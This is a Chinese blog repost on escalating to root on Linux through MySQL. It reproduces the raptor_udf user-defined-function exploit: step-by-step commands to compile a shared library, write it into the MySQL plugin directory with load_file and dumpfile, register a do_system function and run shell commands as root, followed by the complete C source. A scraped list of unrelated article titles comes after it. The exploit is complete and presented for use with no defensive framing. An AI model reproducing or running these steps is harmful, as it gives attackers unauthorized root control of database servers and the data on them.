Linux mysql root 提权
来源:互联网 发布:alpha软件 编辑:程序博客网 时间:2024/06/03 16:24
http://www.8090sec.com/Linuxgongfang/111396.html
* Usage:
* $ id
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
* $ gcc -g -c raptor_udf.c
* $ gcc -g -shared -W1,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc
* $ mysql -u root -p
* Enter password:
* [...]
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf.so'));
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf.so';
* mysql> create function do_system returns integer soname 'raptor_udf.so';
* mysql> select * from mysql.func;
* +-----------+-----+---------------+----------+
* | name | ret | dl | type |
* +-----------+-----+---------------+----------+
* | do_system | 2 | raptor_udf.so | function |
* +-----------+-----+---------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
* mysql> \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
*/
raptor_udf.c:
#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);
system(args->args[0]);
return(0);
}
- Linux mysql root 提权
- Linux mysql root 提权
- linux mysql 破解root 密码
- linux 重置mysql root密码
- linux mysql 忘记root密码
- linux mysql 忘记root密码
- Linux-mysql忘记root密码
- linux 忘记mysql root密码
- linux mysql root 忘记密码
- linux mysql 破解root 密码
- mysql提权root查找
- linux下 mysql 忘记root用户密码解决办法
- linux下 mysql 忘记root用户密码解决办法
- linux忘记mysql的root用户密码
- linux下 mysql 忘记root用户密码解决办法
- Linux mysql安装修改root密码服务
- Linux mysql安装修改root密码服务
- linux下修改MySQL的root密码
- 关于JAVA中动态创建二维数组的“技巧”
- WinForm获取当前路径汇总
- Linux常用命令大全
- JBPM4工作流之在myecplsie中安装jBPM4.0开发插件以及JBPM4的简单介绍和入门
- 机器人进化 未来像iPhone一样进入家庭
- Linux mysql root 提权
- tomcat的server.xml中的UrIEncoding编码设置
- java利用反射完成不同类之间相同属性的复制
- linux管理员常用命令汇总(1)
- iPhone 6/Plus内部构造揭秘:摄像头来自索尼
- 内存管理
- java中关于subString()和indexOf()的用法
- linux下的windows文件替换^M方法
- Aspose.Word控件实现Word文档的操作